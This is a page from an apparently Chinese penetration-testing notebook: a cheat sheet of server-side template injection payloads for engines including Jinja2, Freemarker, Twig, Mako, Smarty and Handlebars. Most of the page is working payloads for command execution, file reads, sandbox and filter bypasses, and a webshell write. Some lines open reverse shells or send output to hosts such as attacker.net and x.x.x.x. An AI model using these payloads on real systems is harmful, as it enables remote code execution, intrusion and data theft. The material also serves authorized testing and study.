📜
PENETRATION NOTE
  • About
    • Readme
  • 收集信息
    • IP和端口信息
      • ASN
      • NMAP使用
      • 工具
      • 历史IP
    • 域名信息
      • CDN是否存在
      • 绕过CDN
      • DNS历史记录
      • SSL证书信息
      • Whois信息
    • 子域名检查
    • 网站架构和指纹识别
    • 人员信息
    • 其他信息
  • 初始访问
    • Web服务突破
      • 前端
      • SQL注入
        • 判断注入
        • 数据库类型识别
        • MSSQL
        • MYSQL
        • Oracle
        • PostgreSQL
        • SQLite
        • DB2
        • SQLMAP
      • XSS
      • CSRF
      • SSRF
      • XML
      • Xpath注入
      • SSTI
      • 命令执行
      • 命令注入
      • Fuzz目录
      • CmdHijack
      • 数据库
      • PHPstudy后门
      • PHP包含下载读取
      • PHP FPM之RCE
      • PHPMyAdmin利用
      • 绕过WAF
      • DNSLOG
      • IIS写权限
    • 未授权访问
      • hadoop
      • memcache
      • mongo
      • Redis
      • zookeeper
      • activemq
      • docker
      • elastic
      • jboss
      • VNC
      • Weblogic
      • Zabbix
      • CouchDB
      • Jenkins
      • Solr
    • 一些Bypass
      • Linux绕过disable_function
      • Open_basedir绕过
      • Windows系统组件com绕过
      • 常规函数绕过
      • 蚁剑绕过
      • cgi启动方式
      • ImageMagick组件绕过
    • 鱼叉式攻击
      • 钓鱼邮件
      • 钓鱼连接
      • 第三方鱼叉
    • 近源攻击
      • WI-FI破解
      • 无线干扰
      • 钓鱼网络
      • 克隆卡
      • 蓝牙
      • BadUSB
    • MySQL不登陆执行命令
    • MySQL开启外联
    • MySQL连接读取文件
    • MSSQL&Agent之Job上线
    • TomcatAjp之LFI&RCE
  • 防御规避
    • C#源码免杀
      • 直接编译
      • 加密处理
      • CSC+InstallUtil
      • XOR和AES编码
    • Powershell免杀
      • 直接生成
      • 行为检测
      • 分块免杀
      • 拆分+C编译
      • CobaltStrike+Powershell免杀
      • obfuscation
      • Out-EncryptedScript
      • PyFuscation
      • Xencrypt
      • Invoke-Shellcode
    • Python源码免杀
      • pyinstaller加载C代码编译
      • pyinstaller加载py代码编译
      • 加载器分离
      • Base64编码+Pyinstaller打包
    • MSF+shellcode免杀
      • nps_payload
      • 编码器
      • c和c++源码免杀
    • 加载器免杀
      • shellcode_launcher
      • SSI加载
    • GreatSCT
    • hanzoInjection
    • InstallUtil
    • MSBuilt
    • MSF捆绑
    • Mshta
    • Phantom-Evasion
    • RC4
    • Ruby
    • Shellter
    • the backdoor factory
    • Veil
    • zirikatu
    • 捆绑器
    • avet
    • carboncopy
    • c代码加载图片马
    • DLL劫持
    • Evasion模块
    • Golang
  • 权限提升
    • Windows提权
      • RDP&Firewall
        • RDP连接记录
        • 注册表开启
        • 注入点开启
        • MSF开启
        • wmic开启
        • 防火墙
        • 爆破RDP
        • 多用户登陆
        • 删除痕迹
      • impactet工具包
      • Windows exploit suggester
      • Searchsploit
      • watson
      • 激活guest
      • MSF
      • 本机文件和脚本
      • BypassUAC
      • AppLocker
      • PowerUp
      • Powerup AlwaysInstallElevated
      • AlwaysInstallElevated提权
      • MSSQL
      • MYSQL udf
      • PrintNightmare
      • HiveNightmare
      • Wesng
      • CVE-2020-1472
      • DNS组到DomainAdmin
      • SeImpersonatePrivilege
      • SpoolFool
      • Trusted Service Paths
      • Vulnerable Services
      • Whitelist白名单
      • 令牌窃取
      • 密码窃取
      • 弱注册表权限
      • RottenPotato
      • JuicyPotato
      • RoguePotato
      • EFSPotato
      • Runas
      • SamAccountSpoofing
      • SeBackupPrivilege
      • DLL劫持
      • WSL子系统
      • 不安全的GUI应用程序
      • 从administrator到system
      • 打印机漏洞
      • 服务中的不正确权限
      • 环境变量优先
      • 恢复服务帐户的权限
      • 弱权限的PATH目录
      • 特权文件写入
      • 未引用的服务路径
    • Linux提权
      • MYSQL Linux Root
      • 可写文件提权
      • Sudo提权
      • 查找辅助信息
      • 查找可能泄露的密码
      • 环境变量提权
      • 漏洞提权
      • 通配符提权
      • 一些检测工具
      • MYSQL漏洞
      • LD_Preload提权
      • Linux Exploit Suggester
      • LinuxSUID提权
      • Linux计划任务
      • Lxd提权
  • 文件操作
    • 传输
      • php
      • powershell
      • py
      • scp
      • vbs
      • wget
      • bitsadmin
      • certutil
      • curl
      • ftp
      • js
      • nc
      • perl
    • 创建
    • Windows查找文件
    • Linux查找文件
    • 查找可写目录
    • 解压
    • 压缩
  • 内网和域
    • 信息搜集
      • Windows安全标识符SID
      • 临时HTTP服务架设
      • Cmd
      • Wmi
      • Powershell基础操作
      • Powerview
      • Linux
      • ADDomain
      • BloodHoundAD
    • 端口映射和转发
      • iptables
      • lcx
      • msf
      • netsh
      • ssf
      • ssh
      • Ligolo
      • chisel
    • 命令与控制
      • Metasploit
        • 常规使用
        • 细节使用
        • meterpreter
        • 模块
        • 与cs和empire交互
      • CobaltStrike
        • 安装
        • 部署
        • 连接
        • 监听
        • 模块
        • 交互
        • 攻击模块
        • 视图模块
        • Beacon
        • 钓鱼邮件
        • 隔离网络
        • 权限维持
        • 代理
        • Malleable C2
        • 部署VPN
        • 横向移动
        • 加载脚本
        • 克隆
        • 浏览器劫持
        • 与msf和empire交互
        • 上线提醒
        • office宏
      • Empire
        • 安装
        • 生成
        • 监听
        • 模块
        • 连接靶机及其他操作
        • 权限提升
        • 横向移动
        • 后门
        • 与cs和msf交互
        • Empire_Word
      • 下载并执行
      • DNS TXT Command
      • Dropbox
      • Gmail
      • Jsrat
      • koadic
      • Openssl
      • Powershell
      • SILENTTRINITY
      • telegram
      • 反弹shell
      • 交互式shell
      • browser
      • crackmap
      • 工具
      • dnscat
  • HASH操作
    • mimikatz
      • mimikatz
      • mimipenguin
      • Powershell_Bypass
      • Procdump64+mimikatz
      • SqlDumper+mimikatz
      • 调用mimikatz远程抓取
      • 横向批量抓HASH
      • 绕过卡巴斯基
      • 远程LSASS进程转储 Physmem2profit
      • Cisco_Jabber转储lsass
      • dotnet2.0
      • dotnet4.0Msbuild
      • Dumpert
      • JScript
    • 域HASH提取
      • NTDSDumpex
      • Ntdsutil
      • Powersploit
      • Vssadmin
      • Wmivssadmin
      • impacket工具包
      • mimikatz
      • MSF
      • esentutl
      • Nishang脚本
    • 缓存HASH获取
      • Quarks pwdump
      • 注册表
      • Ninjacopy
    • 获取其他密码
      • foxmail
      • navicat
      • seatbelt
      • securecrt
      • vncpass
      • chrome
      • firefox
    • 破解工具
      • medusa
      • hydra
    • GoogleColab破解HASH
    • Invoke Dcsync
    • laZagne
    • MSF
    • QuarksPwDump
    • 开启Wdigest
    • 密码策略
    • 密码破解网站
    • Empire
    • Getpass
  • 横向移动
    • 探测存活主机
      • For+Ping命令查询存活主机
      • NbtScan
      • NetDiscover
      • NMAP
      • rp scan
      • 代理nmap扫描
      • 内外网资产对应
      • MSF
    • 探测服务&端口
      • 常见端口
      • MSF
      • Nc
      • Powershell
      • PTScan
      • SMB
      • CobaltStrike+K8Aggressor
      • Linux_Samba服务
      • Masscan
    • 执行命令&IPC&计划任务
      • AT
      • IPC
      • Schtasks
      • Wmic
    • 代理
      • goproxy
      • shadowsocks
      • sock4a
      • socks5
      • socks5web
      • ssf
      • ssh
      • 代理软件
      • chisel
      • earthworm
      • revsocks
      • Gost
      • gotohttp
      • rustdesk
      • frp
    • NTLM中继和中间人攻击
      • Ntlmrelayx+资源受限委派
      • Responder/LLMNR毒害
      • DNS Poisonning
      • MS08-068 NTLM反射
      • RemotePotato0
      • SMB签名禁用和IPv4
      • SMB签名禁用和IPv6
      • WebDav中继
      • 捕获和破解Net NTLMv1和NTLMv1哈希
      • CVE-2019-1040
      • CVE-2019-1384
    • ActiveDirectory的ACL和ACE
      • GenericAll
      • GenericWrite
      • WriteDACL
      • WriteOwner
      • 读取GMSA密码
      • 读取LAPS密码
      • 强制更改密码
    • ActiveDirectory证书服务
      • ESC1-配置错误的证书模板
      • ESC2-配置错误的证书模板
      • ESC3-配置错误的注册代理模板
      • ESC4-访问控制漏洞
      • ESC6-EDITF_ATTRIBUTESUBJECTALTNAME2
      • ESC7-易受攻击的证书颁发机构访问控制
      • ESC8-ADCS中继攻击
      • Pass-The-Certificate
      • 查找证书服务器
      • 经过认证的CVE-2022-26923
    • DCOM-Exploitation
      • DCOM
      • 通过MMC应用程序类进行DCOM
      • 通过Office进行DCOM
      • 通过ShellBrowserWindow进行DCOM
      • 通过ShellExecute进行DCOM
    • Kerberoasting
      • 申请票据
      • 破解密码
      • 导出票据
      • SPN发现
      • GetUserSPNs
      • 重写票据
    • MSF添加路由
    • Ngrok内网穿透
    • PASS-THE-HASH
    • PASS-THE-TICKET
    • PASS-THE-KEY
    • 组策略对象GPO
    • WinRM无文件执行
    • 方程式内网不产生session
    • 隔离主机payload
    • 攻击MSSQL数据库
    • 攻击MySQL数据库
    • 共享
    • 获取保存的RDP密码
    • 快速定位域管理登过的机器
    • 添加域管命令
    • ASEPRoasting
    • CVE-2019-0708
    • GPP-Password
    • MS08_067
    • MS17_010
    • MSF管道监听
    • 账户委派
    • 资源受限委派
    • 域内爆破
    • 危险的内置组使用
    • 域与域
    • kerberos青铜比特攻击CVE-2020-17049
    • kerberos无约束委派
    • kerberos约束委派
    • 基于kerberos资源的约束委派
    • PrivExchange攻击
    • PXE启动映像攻击
    • RODC-只读域控制器入侵
    • WSUS部署
    • SCCM部署
  • 权限维持
    • Windows
      • 关闭防病毒软件
      • 启动文件夹
      • DLL劫持计划任务
      • DLL注入
      • DSRM+注册表ACL后门
      • Empire
      • Guest激活
      • HookPasswordChangeNotify
      • Invoke ADSBackdoor
      • Invoke Tasks后门&权限维持
      • Kerberoasting后门
      • Metsvc
      • MOF
      • Shadow-Credentials
      • ADS&JavaScript
      • ADS隐藏webshell
      • Bitadmin
      • CLR Injection
      • COM OBJECT hijacking
      • DCShadow&SIDHistory
      • DCSync后门
      • DLL代理劫持右键
      • DLL劫持
      • Persistence
      • RID劫持
      • rootkit
      • RPC后门
      • S4U2Self后门
      • Skeleton Key万能钥匙
      • Squibledoo
      • Windows FAX DLL Injection
      • WinRM端口复用
      • WMIC事件订阅
      • WMI Persistence
      • 创建服务
      • 登录初始化
      • MSSQL后门
      • Netsh Helper DLL
      • NPPSpy记录密码
      • NSSM
      • Password Filter DLL
      • 添加签名
      • 通过控制面板加载项维持权限
      • 通过自定义.net垃圾回收机制进行DLL注入
      • 唯一IP访问
      • 影子用户
      • 映像劫持
      • 注入SSP被动收集密码
      • 基于域策略文件权限后门
      • 计划任务
      • 进程注入
      • 使用AMSI扫描接口维持权限
      • 受限委派后门
    • Linux
      • apt后门
      • bash rc
      • Kbeast_rootkit
      • Linux cron后门
      • OpenSSH后门
      • Reptile
      • SSHD后门
      • SSH wrapper后门
      • SSH公私钥登录
      • Strace记录ssh密码
      • SUID Shell
      • 进程注入
      • 文件处理
      • 用户启动文件
      • 启动项服务后门
      • 后门驱动程序
      • IPTables端口复用
    • web服务&中间件
      • Java
      • Nginx
      • Apache
      • IIS
  • 赏金技巧
    • TOP系列
      • Top25LFI参数
      • Top25RCE参数
      • Top25ssrf
      • Top25重定向dorks
    • 一行命令
      • 一条正则命令获取私钥或密码
      • 使用grep快速去除垃圾数据
    • 字典
      • 从站点生成字典
      • 来自github的字典
      • 已泄露的密码整理出的字典
      • loT高频率账户密码
      • 查找git和svn的字典
    • 403 bypass
    • CMS
    • favico信息
    • Github
    • git和svn
    • sql注入检测
    • 参数污染
    • 测试是否存在heartbleed漏洞
    • 命令注入Bypass
    • 配置错误的云存储桶
    • 通过.json的信息泄露
    • 未认证的ElasticsearchDB
    • 子域名接管
    • 2FA双因子认证绕过
    • 绕过登录限制
  • 云安全
    • GCP
      • 初始访问
      • 枚举
      • 权限维持
      • 特权升级和横向移动
    • AWS
      • AWS的服务
      • 工具
      • 初始访问
      • 枚举
      • 权限提升
      • 权限维持
      • 将EBS卷挂载到EC2Linux
      • 禁用CloudTrail
      • 使用AMI映像复制EC2
      • 通过API密钥获得AWS控制台访问权限
      • 通过混淆Cloudtrail日志和GuardDuty来掩盖踪迹
      • Golden SAML Attack
      • InstanceConnect 将SSH密钥推送到EC2实例
      • Lambda 提取函数的代码
      • Shadow Copy attack
      • SSM 命令执行
      • 动态数据库
    • Azure
      • 侦察工具
      • 枚举
      • 钓鱼
      • 非法同意
      • 向所有EnterpriseApplications添加凭据
      • 为AzureWeb应用程序生成SSH
      • Azure存储Blob
      • Pass-The-PRT
      • Pass-The-Certificate
      • Intunes管理
      • 动态组成员资格
      • Administrative Unit
      • 部署模板
      • 应用程序代理
      • 条件访问
      • 令牌
      • 自动化runbook
      • 虚拟机runCommand
      • KeyVault
      • AzureAD
      • AzureAD连接
    • Aliyun
      • osskey
    • Docker
      • 未授权API
      • 权限维持
      • 逃逸
    • kubernetes
      • 未授权API
      • 枚举
      • 权限提升
      • 定时任务
    • 工具
  • Redteam红队
    • Web类
      • web程序漏洞
      • 编辑器漏洞
      • 默认密码
      • wso2
      • 从LFI到RCE
      • 深x服
      • 天r信
      • 邮件地址payload
      • Web server日志分析命令
    • 免杀技巧
      • cshot远程shellcode
      • Pezor免杀
      • 内存中解码shellcode绕过av
      • 一些可尝试绕过白名单的执行
      • 在Windows Server 2016和2019中绕过WindowsDefender
      • 绕过安全狗脚本
      • 360白名单
      • Bypass AMSI
    • Bypass技巧
      • Bypass mod_security
      • 绕过lsa protection
    • 系统类
      • ImportDLLInjection 通过修改内存中的PE头来注入DLL的另一种方法
      • 动态调用进程注入逻辑
      • 父进程破坏
      • 进程挖空(MitreT1055.012)
      • 使用WindowsDefender下载文件
      • 通过挂起EventLog服务线程禁用Windows事件日志
      • 隐藏windows服务
      • 远程解压文件
由 GitBook 提供支持
在本页

这有帮助吗?

  1. 初始访问
  2. Web服务突破

SSTI

SSTI 服务端模板注入

ASP.NET Razor

@(1+2)
命令执行
@{
  // C# code
}

EL

${1+1}
#{1+1}
不包括代码执行
// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

// JVM 系统属性查找 (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
代码执行
RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

使用Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

使用processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

使用Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

使用ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

使用ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}

Freemarker

${3*3}
#{3*3}
读取文件
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
将返回的字节转换为 ASCII
代码执行
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
沙盒绕过-2.3.30 以下
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Groovy

https://groovy-lang.org/syntax.html
${9*9}
读取和创建文件
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
HTTP 请求
${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}
命令执行
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
沙盒绕过
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }
或
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }

Handlebars

命令执行
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Jade / Codepen

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

JAVA

基本注入
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
检索系统的环境变量
${T(java.lang.System).getenv()}
读取/etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Jinja2

基本注入
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

<div data-gb-custom-block data-tag="extends" data-0='layout.html'></div>
<div data-gb-custom-block data-tag="block">
  <ul>
  <div data-gb-custom-block data-tag="for">
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  </div>
  </ul>
</div>
debug
<pre><div data-gb-custom-block data-tag="debug"></div></pre>
转储所有使用的类
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
转储所有配置变量
<div data-gb-custom-block data-tag="for">
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
</div>
远程读取文件
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
远程写入文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
远程代码执行
监听nc -lnvp 8000
通过调用 os.popen().read() 来利用 SSTI
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
较短的payload
{{ cycler.__init__.__globals__.os.popen('id').read() }}

{{ joiner.__init__.__globals__.os.popen('id').read() }}

{{ namespace.__init__.__globals__.os.popen('id').read() }}
通过调用 subprocess.Popen 来 SSTI
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
调用 Popen 来利用 SSTI 而无需猜测偏移量
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}</div></div>
https://twitter.com/SecGus/status/1198976764351066113
只需修改payload以清理输出,在另一个 GET 参数中包含一个名为“input”的变量,其中包含您要运行的命令(例如: &输入=ls)
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}</div></div>
编写恶意配置文件来利用 SSTI
# 恶意配置文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# 加载
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# 反弹
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
绕过过滤
request.__class__
request["__class__"]
绕过 _
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
绕过[和]
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
绕过|join
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
绕过最常见的过滤器('.'、'_'、'|join'、'['、']'、'mro' 和 'base')
https://twitter.com/SecGus
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Jinjava

基本注入
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
命令执行
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Less

SSRF / LFI
@import (inline) "http://localhost";
或者
@import (inline) "/etc/passwd";
Lessjs < v3 - 命令执行
body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}
插件
使用本地插件的例子
@plugin "plugin-2.7.js"	;
使用远程插件的例子
@plugin "http://example.com/plugin-2.7.js"
版本 2 RCE
functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
版本 3 及更高版本的RCE 
//Vulnerable plugin (3.13.1)
registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})

Mako

<%
import os
x=os.popen('id').read()
%>
${x}
TemplateNamespace 直接访问os模块
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

POC
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>

Pebble

基本注入
{{ someString.toUPPERCASE() }}
代码执行
旧版本< 版本 3.0.9
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
新版本
<div data-gb-custom-block data-tag="set" data-cmd='id'></div>
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Ruby

基本注入
ERB:
<%= 7 * 7 %>
Slim:
#{ 7 * 7 }
读取/etc/passwd
<%= File.open('/etc/passwd').read %>
列出文件和目录
<%= Dir.entries('/') %>
ERB代码执行
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Slim代码执行
#{ %x|env| }

Smarty

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Twig

基本注入
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
任意文件读取
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
代码执行
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
